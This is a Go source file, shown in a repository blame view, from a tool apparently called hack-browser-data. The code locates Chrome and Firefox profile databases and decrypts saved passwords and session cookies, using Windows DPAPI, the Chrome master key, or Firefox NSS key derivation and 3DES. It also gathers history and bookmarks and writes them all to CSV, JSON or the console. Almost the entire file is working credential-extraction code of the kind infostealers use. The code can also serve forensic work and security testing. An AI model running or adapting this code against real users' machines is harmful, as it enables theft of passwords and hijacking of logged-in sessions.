You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
757 lines
17 KiB
757 lines
17 KiB
4 years ago
|
package data
|
||
5 years ago
|
|
||
|
import (
|
||
4 years ago
|
"bytes"
|
||
5 years ago
|
"database/sql"
|
||
4 years ago
|
"encoding/base64"
|
||
|
"io/ioutil"
|
||
4 years ago
|
"os"
|
||
4 years ago
|
"path/filepath"
|
||
4 years ago
|
"sort"
|
||
4 years ago
|
"time"
|
||
5 years ago
|
|
||
4 years ago
|
"hack-browser-data/core/decrypt"
|
||
|
"hack-browser-data/log"
|
||
|
"hack-browser-data/utils"
|
||
|
|
||
5 years ago
|
_ "github.com/mattn/go-sqlite3"
|
||
4 years ago
|
"github.com/tidwall/gjson"
|
||
5 years ago
|
)
|
||
|
|
||
4 years ago
|
type Item interface {
|
||
4 years ago
|
// ChromeParse parse chrome items, Password and Cookie need secret key
|
||
4 years ago
|
ChromeParse(key []byte) error
|
||
4 years ago
|
|
||
|
// FirefoxParse parse firefox items
|
||
4 years ago
|
FirefoxParse() error
|
||
4 years ago
|
|
||
4 years ago
|
// OutPut file name and format type
|
||
4 years ago
|
OutPut(format, browser, dir string) error
|
||
4 years ago
|
|
||
4 years ago
|
// CopyDB is copy item db file to current dir
|
||
|
CopyDB() error
|
||
4 years ago
|
|
||
4 years ago
|
// Release is delete item db file
|
||
4 years ago
|
Release() error
|
||
|
}
|
||
4 years ago
|
|
||
4 years ago
|
const (
|
||
|
ChromePasswordFile = "Login Data"
|
||
|
ChromeHistoryFile = "History"
|
||
|
ChromeCookieFile = "Cookies"
|
||
|
ChromeBookmarkFile = "Bookmarks"
|
||
|
FirefoxCookieFile = "cookies.sqlite"
|
||
|
FirefoxKey4File = "key4.db"
|
||
|
FirefoxLoginFile = "logins.json"
|
||
|
FirefoxDataFile = "places.sqlite"
|
||
|
)
|
||
|
|
||
4 years ago
|
var (
|
||
|
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
|
||
|
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
|
||
|
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
|
||
4 years ago
|
queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places`
|
||
4 years ago
|
queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks`
|
||
|
queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
|
||
|
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
|
||
|
queryNssPrivate = `SELECT a11, a102 from nssPrivate`
|
||
|
closeJournalMode = `PRAGMA journal_mode=off`
|
||
|
)
|
||
|
|
||
4 years ago
|
const (
|
||
|
bookmarkID = "id"
|
||
|
bookmarkAdded = "date_added"
|
||
|
bookmarkUrl = "url"
|
||
|
bookmarkName = "name"
|
||
|
bookmarkType = "type"
|
||
|
bookmarkChildren = "children"
|
||
|
)
|
||
|
|
||
4 years ago
|
type bookmarks struct {
|
||
|
mainPath string
|
||
|
bookmarks []bookmark
|
||
|
}
|
||
5 years ago
|
|
||
4 years ago
|
func NewBookmarks(main, sub string) Item {
|
||
|
return &bookmarks{mainPath: main}
|
||
|
}
|
||
4 years ago
|
|
||
4 years ago
|
func (b *bookmarks) ChromeParse(key []byte) error {
|
||
|
bookmarks, err := utils.ReadFile(ChromeBookmarkFile)
|
||
4 years ago
|
if err != nil {
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
|
r := gjson.Parse(bookmarks)
|
||
|
if r.Exists() {
|
||
|
roots := r.Get("roots")
|
||
|
roots.ForEach(func(key, value gjson.Result) bool {
|
||
4 years ago
|
getBookmarkChildren(value, b)
|
||
4 years ago
|
return true
|
||
|
})
|
||
|
}
|
||
4 years ago
|
return nil
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
func getBookmarkChildren(value gjson.Result, b *bookmarks) (children gjson.Result) {
|
||
4 years ago
|
nodeType := value.Get(bookmarkType)
|
||
4 years ago
|
bm := bookmark{
|
||
|
ID: value.Get(bookmarkID).Int(),
|
||
|
Name: value.Get(bookmarkName).String(),
|
||
|
URL: value.Get(bookmarkUrl).String(),
|
||
|
DateAdded: utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()),
|
||
|
}
|
||
4 years ago
|
children = value.Get(bookmarkChildren)
|
||
|
if nodeType.Exists() {
|
||
|
bm.Type = nodeType.String()
|
||
|
b.bookmarks = append(b.bookmarks, bm)
|
||
|
if children.Exists() && children.IsArray() {
|
||
|
for _, v := range children.Array() {
|
||
|
children = getBookmarkChildren(v, b)
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
return children
|
||
|
}
|
||
4 years ago
|
|
||
4 years ago
|
func (b *bookmarks) FirefoxParse() error {
|
||
|
var (
|
||
|
err error
|
||
|
keyDB *sql.DB
|
||
|
bookmarkRows *sql.Rows
|
||
|
tempMap map[int64]string
|
||
|
bookmarkUrl string
|
||
|
)
|
||
|
keyDB, err = sql.Open("sqlite3", FirefoxDataFile)
|
||
4 years ago
|
if err != nil {
|
||
|
return err
|
||
|
}
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := keyDB.Close(); err != nil {
|
||
4 years ago
|
log.Error(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
4 years ago
|
_, err = keyDB.Exec(closeJournalMode)
|
||
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
|
bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks)
|
||
|
if err != nil {
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
|
for bookmarkRows.Next() {
|
||
4 years ago
|
var (
|
||
4 years ago
|
id, fk, bType, dateAdded int64
|
||
|
title string
|
||
4 years ago
|
)
|
||
4 years ago
|
err = bookmarkRows.Scan(&id, &fk, &bType, &dateAdded, &title)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
4 years ago
|
if url, ok := tempMap[id]; ok {
|
||
|
bookmarkUrl = url
|
||
4 years ago
|
}
|
||
4 years ago
|
b.bookmarks = append(b.bookmarks, bookmark{
|
||
|
ID: id,
|
||
|
Name: title,
|
||
|
Type: utils.BookMarkType(bType),
|
||
|
URL: bookmarkUrl,
|
||
|
DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
|
||
|
})
|
||
4 years ago
|
}
|
||
4 years ago
|
return nil
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
func (b *bookmarks) CopyDB() error {
|
||
4 years ago
|
return copyToLocalPath(b.mainPath, filepath.Base(b.mainPath))
|
||
4 years ago
|
}
|
||
|
|
||
|
func (b *bookmarks) Release() error {
|
||
|
return os.Remove(filepath.Base(b.mainPath))
|
||
|
}
|
||
|
|
||
|
func (b *bookmarks) OutPut(format, browser, dir string) error {
|
||
|
sort.Slice(b.bookmarks, func(i, j int) bool {
|
||
|
return b.bookmarks[i].ID < b.bookmarks[j].ID
|
||
|
})
|
||
|
switch format {
|
||
|
case "csv":
|
||
|
err := b.outPutCsv(browser, dir)
|
||
|
return err
|
||
4 years ago
|
case "console":
|
||
|
b.outPutConsole()
|
||
|
return nil
|
||
|
default:
|
||
|
err := b.outPutJson(browser, dir)
|
||
|
return err
|
||
4 years ago
|
}
|
||
|
}
|
||
|
|
||
|
type cookies struct {
|
||
|
mainPath string
|
||
|
cookies map[string][]cookie
|
||
|
}
|
||
|
|
||
|
func NewCookies(main, sub string) Item {
|
||
|
return &cookies{mainPath: main}
|
||
|
}
|
||
|
|
||
|
func (c *cookies) ChromeParse(secretKey []byte) error {
|
||
|
c.cookies = make(map[string][]cookie)
|
||
|
cookieDB, err := sql.Open("sqlite3", ChromeCookieFile)
|
||
4 years ago
|
if err != nil {
|
||
|
return err
|
||
|
}
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := cookieDB.Close(); err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
4 years ago
|
rows, err := cookieDB.Query(queryChromiumCookie)
|
||
4 years ago
|
if err != nil {
|
||
|
return err
|
||
|
}
|
||
4 years ago
|
defer func() {
|
||
|
if err := rows.Close(); err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
|
for rows.Next() {
|
||
|
var (
|
||
4 years ago
|
key, host, path string
|
||
|
isSecure, isHTTPOnly, hasExpire, isPersistent int
|
||
|
createDate, expireDate int64
|
||
|
value, encryptValue []byte
|
||
4 years ago
|
)
|
||
4 years ago
|
err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
4 years ago
|
cookie := cookie{
|
||
4 years ago
|
KeyName: key,
|
||
|
Host: host,
|
||
|
Path: path,
|
||
|
encryptValue: encryptValue,
|
||
|
IsSecure: utils.IntToBool(isSecure),
|
||
|
IsHTTPOnly: utils.IntToBool(isHTTPOnly),
|
||
|
HasExpire: utils.IntToBool(hasExpire),
|
||
|
IsPersistent: utils.IntToBool(isPersistent),
|
||
|
CreateDate: utils.TimeEpochFormat(createDate),
|
||
|
ExpireDate: utils.TimeEpochFormat(expireDate),
|
||
4 years ago
|
}
|
||
4 years ago
|
// remove 'v10'
|
||
4 years ago
|
if secretKey == nil {
|
||
|
value, err = decrypt.DPApi(encryptValue)
|
||
|
} else {
|
||
|
value, err = decrypt.ChromePass(secretKey, encryptValue)
|
||
4 years ago
|
}
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
4 years ago
|
cookie.Value = string(value)
|
||
4 years ago
|
c.cookies[host] = append(c.cookies[host], cookie)
|
||
4 years ago
|
}
|
||
4 years ago
|
return nil
|
||
4 years ago
|
}
|
||
4 years ago
|
|
||
4 years ago
|
func (c *cookies) FirefoxParse() error {
|
||
|
c.cookies = make(map[string][]cookie)
|
||
|
cookieDB, err := sql.Open("sqlite3", FirefoxCookieFile)
|
||
|
if err != nil {
|
||
|
return err
|
||
|
}
|
||
|
defer func() {
|
||
|
if err := cookieDB.Close(); err != nil {
|
||
|
log.Debug(err)
|
||
|
}
|
||
|
}()
|
||
|
rows, err := cookieDB.Query(queryFirefoxCookie)
|
||
|
if err != nil {
|
||
|
return err
|
||
|
}
|
||
|
defer func() {
|
||
|
if err := rows.Close(); err != nil {
|
||
|
log.Debug(err)
|
||
|
}
|
||
|
}()
|
||
|
for rows.Next() {
|
||
|
var (
|
||
|
name, value, host, path string
|
||
|
isSecure, isHttpOnly int
|
||
|
creationTime, expiry int64
|
||
|
)
|
||
|
err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
4 years ago
|
c.cookies[host] = append(c.cookies[host], cookie{
|
||
|
KeyName: name,
|
||
|
Host: host,
|
||
|
Path: path,
|
||
|
IsSecure: utils.IntToBool(isSecure),
|
||
|
IsHTTPOnly: utils.IntToBool(isHttpOnly),
|
||
|
CreateDate: utils.TimeStampFormat(creationTime / 1000000),
|
||
|
ExpireDate: utils.TimeStampFormat(expiry),
|
||
|
Value: value,
|
||
|
})
|
||
|
}
|
||
|
return nil
|
||
|
}
|
||
|
|
||
4 years ago
|
func (c *cookies) CopyDB() error {
|
||
4 years ago
|
return copyToLocalPath(c.mainPath, filepath.Base(c.mainPath))
|
||
4 years ago
|
}
|
||
|
|
||
|
func (c *cookies) Release() error {
|
||
|
return os.Remove(filepath.Base(c.mainPath))
|
||
|
}
|
||
|
|
||
|
func (c *cookies) OutPut(format, browser, dir string) error {
|
||
|
switch format {
|
||
|
case "csv":
|
||
|
err := c.outPutCsv(browser, dir)
|
||
|
return err
|
||
4 years ago
|
case "console":
|
||
|
c.outPutConsole()
|
||
|
return nil
|
||
|
default:
|
||
|
err := c.outPutJson(browser, dir)
|
||
|
return err
|
||
4 years ago
|
}
|
||
|
}
|
||
|
|
||
|
type historyData struct {
|
||
|
mainPath string
|
||
|
history []history
|
||
|
}
|
||
|
|
||
|
func NewHistoryData(main, sub string) Item {
|
||
|
return &historyData{mainPath: main}
|
||
|
}
|
||
|
|
||
|
func (h *historyData) ChromeParse(key []byte) error {
|
||
|
historyDB, err := sql.Open("sqlite3", ChromeHistoryFile)
|
||
|
if err != nil {
|
||
|
return err
|
||
|
}
|
||
|
defer func() {
|
||
|
if err := historyDB.Close(); err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
|
}()
|
||
|
rows, err := historyDB.Query(queryChromiumHistory)
|
||
4 years ago
|
if err != nil {
|
||
|
return err
|
||
|
}
|
||
4 years ago
|
defer func() {
|
||
|
if err := rows.Close(); err != nil {
|
||
|
log.Debug(err)
|
||
|
}
|
||
|
}()
|
||
|
for rows.Next() {
|
||
|
var (
|
||
|
url, title string
|
||
|
visitCount int
|
||
|
lastVisitTime int64
|
||
|
)
|
||
|
err := rows.Scan(&url, &title, &visitCount, &lastVisitTime)
|
||
|
data := history{
|
||
|
Url: url,
|
||
|
Title: title,
|
||
|
VisitCount: visitCount,
|
||
|
LastVisitTime: utils.TimeEpochFormat(lastVisitTime),
|
||
|
}
|
||
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
|
h.history = append(h.history, data)
|
||
|
}
|
||
|
return nil
|
||
|
}
|
||
|
|
||
|
func (h *historyData) FirefoxParse() error {
|
||
4 years ago
|
var (
|
||
4 years ago
|
err error
|
||
|
keyDB *sql.DB
|
||
|
historyRows *sql.Rows
|
||
|
tempMap map[int64]string
|
||
4 years ago
|
)
|
||
|
tempMap = make(map[int64]string)
|
||
4 years ago
|
keyDB, err = sql.Open("sqlite3", FirefoxDataFile)
|
||
4 years ago
|
if err != nil {
|
||
|
return err
|
||
|
}
|
||
4 years ago
|
_, err = keyDB.Exec(closeJournalMode)
|
||
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := keyDB.Close(); err != nil {
|
||
4 years ago
|
log.Error(err)
|
||
|
}
|
||
|
}()
|
||
4 years ago
|
historyRows, err = keyDB.Query(queryFirefoxHistory)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error(err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
|
defer func() {
|
||
4 years ago
|
if err := historyRows.Close(); err != nil {
|
||
4 years ago
|
log.Error(err)
|
||
|
}
|
||
|
}()
|
||
4 years ago
|
for historyRows.Next() {
|
||
4 years ago
|
var (
|
||
|
id, visitDate int64
|
||
|
url, title string
|
||
|
visitCount int
|
||
|
)
|
||
4 years ago
|
err = historyRows.Scan(&id, &url, &visitDate, &title, &visitCount)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
4 years ago
|
h.history = append(h.history, history{
|
||
4 years ago
|
Title: title,
|
||
|
Url: url,
|
||
|
VisitCount: visitCount,
|
||
4 years ago
|
LastVisitTime: utils.TimeStampFormat(visitDate / 1000000),
|
||
4 years ago
|
})
|
||
|
tempMap[id] = url
|
||
|
}
|
||
4 years ago
|
return nil
|
||
|
}
|
||
4 years ago
|
|
||
4 years ago
|
func (h *historyData) CopyDB() error {
|
||
4 years ago
|
return copyToLocalPath(h.mainPath, filepath.Base(h.mainPath))
|
||
4 years ago
|
}
|
||
|
|
||
|
func (h *historyData) Release() error {
|
||
|
return os.Remove(filepath.Base(h.mainPath))
|
||
|
}
|
||
|
|
||
|
func (h *historyData) OutPut(format, browser, dir string) error {
|
||
|
sort.Slice(h.history, func(i, j int) bool {
|
||
|
return h.history[i].VisitCount > h.history[j].VisitCount
|
||
|
})
|
||
|
switch format {
|
||
4 years ago
|
case "json":
|
||
|
err := h.outPutJson(browser, dir)
|
||
4 years ago
|
return err
|
||
4 years ago
|
case "console":
|
||
|
h.outPutConsole()
|
||
|
return nil
|
||
|
default:
|
||
4 years ago
|
err := h.outPutCsv(browser, dir)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
|
}
|
||
|
|
||
4 years ago
|
type passwords struct {
|
||
|
mainPath string
|
||
|
subPath string
|
||
|
logins []loginData
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
func NewFPasswords(main, sub string) Item {
|
||
|
return &passwords{mainPath: main, subPath: sub}
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
func NewCPasswords(main, sub string) Item {
|
||
|
return &passwords{mainPath: main}
|
||
4 years ago
|
}
|
||
4 years ago
|
|
||
4 years ago
|
func (p *passwords) ChromeParse(key []byte) error {
|
||
|
loginDB, err := sql.Open("sqlite3", ChromePasswordFile)
|
||
4 years ago
|
if err != nil {
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := loginDB.Close(); err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
4 years ago
|
}()
|
||
4 years ago
|
rows, err := loginDB.Query(queryChromiumLogin)
|
||
4 years ago
|
if err != nil {
|
||
|
return err
|
||
|
}
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := rows.Close(); err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
4 years ago
|
for rows.Next() {
|
||
4 years ago
|
var (
|
||
4 years ago
|
url, username string
|
||
|
pwd, password []byte
|
||
|
create int64
|
||
4 years ago
|
)
|
||
4 years ago
|
err = rows.Scan(&url, &username, &pwd, &create)
|
||
|
if err != nil {
|
||
|
log.Error(err)
|
||
4 years ago
|
}
|
||
4 years ago
|
login := loginData{
|
||
|
UserName: username,
|
||
|
encryptPass: pwd,
|
||
|
LoginUrl: url,
|
||
|
}
|
||
|
if key == nil {
|
||
|
password, err = decrypt.DPApi(pwd)
|
||
|
} else {
|
||
|
password, err = decrypt.ChromePass(key, pwd)
|
||
|
}
|
||
|
if err != nil {
|
||
|
log.Debugf("%s have empty password %s", login.LoginUrl, err.Error())
|
||
|
}
|
||
|
if create > time.Now().Unix() {
|
||
|
login.CreateDate = utils.TimeEpochFormat(create)
|
||
|
} else {
|
||
|
login.CreateDate = utils.TimeStampFormat(create)
|
||
|
}
|
||
|
login.Password = string(password)
|
||
|
p.logins = append(p.logins, login)
|
||
4 years ago
|
}
|
||
4 years ago
|
return nil
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
func (p *passwords) FirefoxParse() error {
|
||
4 years ago
|
globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey()
|
||
4 years ago
|
if err != nil {
|
||
|
return err
|
||
|
}
|
||
4 years ago
|
keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
|
||
4 years ago
|
meta, err := decrypt.DecodeMeta(metaBytes)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error("decrypt meta data failed", err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
|
var masterPwd []byte
|
||
4 years ago
|
m, err := decrypt.Meta(globalSalt, masterPwd, meta)
|
||
4 years ago
|
if err != nil {
|
||
4 years ago
|
log.Error("decrypt firefox meta failed", err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
4 years ago
|
if bytes.Contains(m, []byte("password-check")) {
|
||
4 years ago
|
log.Debug("password-check success")
|
||
4 years ago
|
m := bytes.Compare(nssA102, keyLin)
|
||
4 years ago
|
if m == 0 {
|
||
4 years ago
|
nss, err := decrypt.DecodeNss(nssA11)
|
||
4 years ago
|
if err != nil {
|
||
4 years ago
|
log.Error("decode firefox nssA11 bytes failed", err)
|
||
4 years ago
|
return err
|
||
4 years ago
|
}
|
||
4 years ago
|
finallyKey, err := decrypt.Nss(globalSalt, masterPwd, nss)
|
||
4 years ago
|
finallyKey = finallyKey[:24]
|
||
|
if err != nil {
|
||
4 years ago
|
log.Error("get firefox finally key failed")
|
||
4 years ago
|
return err
|
||
|
}
|
||
4 years ago
|
allLogins, err := getFirefoxLoginData()
|
||
4 years ago
|
if err != nil {
|
||
|
return err
|
||
4 years ago
|
}
|
||
|
for _, v := range allLogins {
|
||
4 years ago
|
userPBE, _ := decrypt.DecodeLogin(v.encryptUser)
|
||
|
pwdPBE, _ := decrypt.DecodeLogin(v.encryptPass)
|
||
|
user, err := decrypt.Des3Decrypt(finallyKey, userPBE.Iv, userPBE.Encrypted)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
4 years ago
|
pwd, err := decrypt.Des3Decrypt(finallyKey, pwdPBE.Iv, pwdPBE.Encrypted)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
4 years ago
|
log.Debug("decrypt firefox success")
|
||
|
p.logins = append(p.logins, loginData{
|
||
4 years ago
|
LoginUrl: v.LoginUrl,
|
||
4 years ago
|
UserName: string(decrypt.PKCS5UnPadding(user)),
|
||
|
Password: string(decrypt.PKCS5UnPadding(pwd)),
|
||
4 years ago
|
CreateDate: v.CreateDate,
|
||
|
})
|
||
|
}
|
||
4 years ago
|
}
|
||
|
}
|
||
4 years ago
|
return nil
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
func (p *passwords) CopyDB() error {
|
||
4 years ago
|
err := copyToLocalPath(p.mainPath, filepath.Base(p.mainPath))
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
|
if p.subPath != "" {
|
||
4 years ago
|
err = copyToLocalPath(p.subPath, filepath.Base(p.subPath))
|
||
4 years ago
|
}
|
||
|
return err
|
||
|
}
|
||
|
|
||
|
func (p *passwords) Release() error {
|
||
|
err := os.Remove(filepath.Base(p.mainPath))
|
||
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
|
if p.subPath != "" {
|
||
|
err = os.Remove(filepath.Base(p.subPath))
|
||
|
}
|
||
|
return err
|
||
|
}
|
||
|
|
||
|
func (p *passwords) OutPut(format, browser, dir string) error {
|
||
|
sort.Sort(p)
|
||
|
switch format {
|
||
|
case "csv":
|
||
|
err := p.outPutCsv(browser, dir)
|
||
|
return err
|
||
4 years ago
|
case "console":
|
||
|
p.outPutConsole()
|
||
|
return nil
|
||
|
default:
|
||
|
err := p.outPutJson(browser, dir)
|
||
|
return err
|
||
4 years ago
|
}
|
||
|
}
|
||
|
|
||
4 years ago
|
// getFirefoxDecryptKey get value from key4.db
|
||
|
func getFirefoxDecryptKey() (item1, item2, a11, a102 []byte, err error) {
|
||
4 years ago
|
var (
|
||
|
keyDB *sql.DB
|
||
|
pwdRows *sql.Rows
|
||
|
nssRows *sql.Rows
|
||
|
)
|
||
4 years ago
|
keyDB, err = sql.Open("sqlite3", FirefoxKey4File)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
return nil, nil, nil, nil, err
|
||
|
}
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := keyDB.Close(); err != nil {
|
||
|
log.Error(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
4 years ago
|
|
||
|
pwdRows, err = keyDB.Query(queryMetaData)
|
||
4 years ago
|
defer func() {
|
||
4 years ago
|
if err := pwdRows.Close(); err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
}()
|
||
4 years ago
|
for pwdRows.Next() {
|
||
|
if err := pwdRows.Scan(&item1, &item2); err != nil {
|
||
|
log.Error(err)
|
||
|
continue
|
||
4 years ago
|
}
|
||
4 years ago
|
}
|
||
|
if err != nil {
|
||
|
log.Error(err)
|
||
|
}
|
||
|
nssRows, err = keyDB.Query(queryNssPrivate)
|
||
|
defer func() {
|
||
|
if err := nssRows.Close(); err != nil {
|
||
|
log.Debug(err)
|
||
|
}
|
||
|
}()
|
||
|
for nssRows.Next() {
|
||
|
if err := nssRows.Scan(&a11, &a102); err != nil {
|
||
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
}
|
||
4 years ago
|
return item1, item2, a11, a102, nil
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
// getFirefoxLoginData use to get firefox
|
||
|
func getFirefoxLoginData() (l []loginData, err error) {
|
||
4 years ago
|
s, err := ioutil.ReadFile(FirefoxLoginFile)
|
||
4 years ago
|
if err != nil {
|
||
4 years ago
|
return nil, err
|
||
4 years ago
|
}
|
||
|
h := gjson.GetBytes(s, "logins")
|
||
|
if h.Exists() {
|
||
|
for _, v := range h.Array() {
|
||
|
var (
|
||
4 years ago
|
m loginData
|
||
4 years ago
|
u []byte
|
||
|
p []byte
|
||
|
)
|
||
4 years ago
|
m.LoginUrl = v.Get("formSubmitURL").String()
|
||
4 years ago
|
u, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
|
||
|
m.encryptUser = u
|
||
|
if err != nil {
|
||
4 years ago
|
log.Debug(err)
|
||
4 years ago
|
}
|
||
|
p, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
|
||
|
m.encryptPass = p
|
||
4 years ago
|
m.CreateDate = utils.TimeStampFormat(v.Get("timeCreated").Int() / 1000)
|
||
4 years ago
|
l = append(l, m)
|
||
|
}
|
||
|
}
|
||
|
return
|
||
|
}
|
||
4 years ago
|
|
||
4 years ago
|
type (
|
||
|
loginData struct {
|
||
|
UserName string
|
||
|
encryptPass []byte
|
||
|
encryptUser []byte
|
||
|
Password string
|
||
|
LoginUrl string
|
||
|
CreateDate time.Time
|
||
|
}
|
||
|
bookmark struct {
|
||
|
ID int64
|
||
|
Name string
|
||
|
Type string
|
||
|
URL string
|
||
|
DateAdded time.Time
|
||
|
}
|
||
|
cookie struct {
|
||
|
Host string
|
||
|
Path string
|
||
|
KeyName string
|
||
|
encryptValue []byte
|
||
|
Value string
|
||
|
IsSecure bool
|
||
|
IsHTTPOnly bool
|
||
|
HasExpire bool
|
||
|
IsPersistent bool
|
||
|
CreateDate time.Time
|
||
|
ExpireDate time.Time
|
||
|
}
|
||
|
history struct {
|
||
|
Title string
|
||
|
Url string
|
||
|
VisitCount int
|
||
|
LastVisitTime time.Time
|
||
|
}
|
||
|
)
|
||
4 years ago
|
|
||
4 years ago
|
func (p passwords) Len() int {
|
||
|
return len(p.logins)
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
func (p passwords) Less(i, j int) bool {
|
||
|
return p.logins[i].CreateDate.After(p.logins[j].CreateDate)
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
func (p passwords) Swap(i, j int) {
|
||
|
p.logins[i], p.logins[j] = p.logins[j], p.logins[i]
|
||
4 years ago
|
}
|
||
4 years ago
|
|
||
|
func copyToLocalPath(src, dst string) error {
|
||
|
locals, _ := filepath.Glob("*")
|
||
|
for _, v := range locals {
|
||
|
if v == dst {
|
||
|
err := os.Remove(dst)
|
||
|
if err != nil {
|
||
|
return err
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
sourceFile, err := ioutil.ReadFile(src)
|
||
|
if err != nil {
|
||
|
log.Debug(err.Error())
|
||
|
}
|
||
|
err = ioutil.WriteFile(dst, sourceFile, 0777)
|
||
|
if err != nil {
|
||
|
log.Debug(err.Error())
|
||
|
}
|
||
|
return err
|
||
|
}
|